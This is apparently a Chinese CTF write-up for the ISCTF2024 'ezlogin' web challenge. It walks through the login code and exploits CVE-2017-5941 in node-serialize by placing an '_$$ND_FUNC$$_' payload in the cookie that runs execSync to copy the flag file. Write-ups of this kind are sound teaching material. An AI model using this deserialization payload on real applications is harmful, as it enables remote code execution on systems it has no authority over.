nodejs反序列化漏洞_CVE-2017-5941利用 | ISCTF2024 | Web ezlogin
2024年12月10日约 481 字大约 2 分钟
打开题目环境后会提示
根据题目源码,我们可以找到路径。
app.get("/login", function (req, res) {
res.render("login");
});
打开后是一个登录界面。
根据代码中的账密可以登录。
users = { guest: "123456" };
让我们看一下代码。
app.post("/login", function (req, res) {
username = req.body.username;
password = req.body.password;
if (!username || !password) {
return res.status(400).send("用户名和密码都是必填项");
}
if (!users[username]) {
return res.status(409).send("用户名不存在");
} else {
if (users[username] === password) {
token = Buffer.from(
serialize.serialize({ username: username, isAdmin: false })
).toString("base64");
res.cookie("token", token, {
maxAge: 900000,
httpOnly: true,
});
return res.status(200).redirect("/index");
} else {
return res.status(200).send("密码错误");
}
}
});
此处已代码格式化,题目提供的源码没有代码格式化。
当验证通过后,网页会向我们发送一个由 base64 包裹的 Cookie,我们可以在浏览器获得这个 Cookie.
此处使用的是 EditThisCookie 浏览器插件,实际上在开发者模式中也可以查改 Cookie.
将 token 解密后可以获得 Cookie 的内容,我们就要从这里下手。
那继续分析一下代码。
当访问/index
会调用auth
函数验证身份。
app.get("/index", auth, function (req, res) {
res.render("index");
});
function auth(req, res, next) {
if (req.cookies.token) {
const user = serialize.unserialize(
Buffer.from(req.cookies.token, "base64").toString()
);
if (!user.username) {
return res.status(401).redirect("/login");
}
} else {
return res.status(401).redirect("/login");
}
next();
}
在这里会将传入的 Cookie 反序列化,这里就是下手点。
我们返回package.json
, 查看依赖版本。
"node-serialize": "^0.0.4"
版本符合CVE-2017-5941的限定版本。
Node.JS Remote Code Execution ≈ Packet Storm中提供了此 CVE 的 Payload,使用
code = "_$$ND_FUNC$$_" + payload;
代码可以触发 RCE 漏洞。
我们可以据此编写一个 Payload.
{
"username": "guest",
"isAdmin": false,
"payload": "_$$ND_FUNC$$_function(){require('child_process').execSync('cp /flag /app/views/index.ejs')}()"
}
将其转为 base64,然后替换掉 token 即可获取 flag.